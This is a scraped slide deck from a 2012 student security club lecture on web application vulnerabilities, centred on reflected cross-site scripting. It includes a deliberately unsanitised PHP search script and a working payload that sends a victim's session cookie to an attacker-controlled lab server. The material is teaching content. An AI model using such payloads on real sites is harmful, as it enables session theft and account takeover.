Download
1 / 28
280 likes | 387 Vues
Raidersec 2012. 04/17/2012. Web Application Vulnerabilities. news. News. Team Poison’s leader (Trick) arrested from a screenshot [source ] wicd Privilege Escalation Exploit [source] Australian Researchers Develop Random Numbers by Listening to Silence [source]
E N D
Raidersec2012 04/17/2012 Web Application Vulnerabilities
News • Team Poison’s leader (Trick) arrested from a screenshot[source] • wicd Privilege Escalation Exploit [source] • Australian Researchers Develop Random Numbers by Listening to Silence [source] • Interesting Report: Trends from Verizon’s 2012 Data Breach Investigations Report [source]
What is a Web Application? • Web applications are essentially programs utilizing web technologies to perform one or more tasks over a network.[source] • Does it do something? • Generally, applications consist of client-side and server-side aspects. • Web applications are also typically designed to be interactive in some way.
The Languages of a Web Application • Client Side • JavaScript • Dart • Server Side • PHP • Perl • ColdFusion Markup Language • Python • ASP (subsequently ASP.NET)
Cross-Site Scripting (XSS) [source: https://www.owasp.org/index.php/Top_10_2010-A2]
The Types of XSS Flaws [source: https://www.owasp.org/index.php/Top_10_2010-A2]
Reflective XSS Attacks • An Example – Consider the following PHP script <form action="index.php" method="get"> Search: <input type="text" name="q" /> <input type="submit" /> </form> <?php if (isset($_GET['q'])) { echo "<h2> You searched for ".$_GET["q"]."</h2>"; } ?>
Reflective XSS Attacks When a search is performed, the PHP script echoes back the search query to the user. This will be helpful in most cases, but let’s see what happens when an attacker tries to input malicious Javascript.. We will search for: <script> alert(“XSS”); </script>
Reflective XSS Attacks We see that the Javascript has executed in our browser, which means that the input is not sanitized before being reflected back to us. We can verify this in the source code of the resulting webpage:
Reflective XSS Attacks • “Get” method allows for trivial the crafting of malicious links • Links can be short and include a link to load Javascript from an external (attacker controlled) site. • The ability to execute arbitrary code in the victim’s browser allows an attacker to redirect form input, compromise the browser, or steal session cookies.
Stealing Session Cookies Consider the following PHP script: <?phpsession_start(); if(!isset($_SESSION['username']) && isset($_POST['username'])) { //Then we must set the session username $_SESSION['username'] = $_POST['username']; echo "Hi, ".$_SESSION['username']; echo "<br /> Please see your customized page <a href=\"session2\">here</a href>"; } elseif(!isset($_SESSION['username']) && !isset($_POST['username'])) { //If we haven't even tried to log in yet, echo out the form ?> <form action="index.php" method="post"> Username: <input type="text" name="username" /> <input type ="submit" /> </form> <?php } //Else, if we do have a session else { echo "Hello, ".$_SESSION['username']; echo "<br /> Please see your customized page <a href=\"session2\">here</a href>"; } ?>
Stealing Session Cookies We see a standard “Login” page, where we can input a username: And then once we login, we can see our customized dashboard:
Stealing Session Cookies We can also see that there is a PHPSESSID cookie that keeps track of our unique session ID:
Stealing Session Cookies Consider then, if an attacker were to send a malicious e-mail that leverages the XSS flaw found in the “Search” function to send a request to server he/she owns that will effectively steal the session cookie: However, the hyperlink actually goes to: http://192.168.56.101/index.php?q= <script type="text/javascript"> document.write("<iframesrc='http://192.168.56.102/cookieStealer.php?cookies="+document.cookie+"'></iframe>"); </script>
Stealing Session Cookies Then, after clicking on the link, the user’s session cookie is then sent to the attacker’s server, which automatically writes the cookie to a file to be used to bypass the login screen later: This results in the user’s (or administrator’s) account being compromised.
Raidersec2012 Thank you!
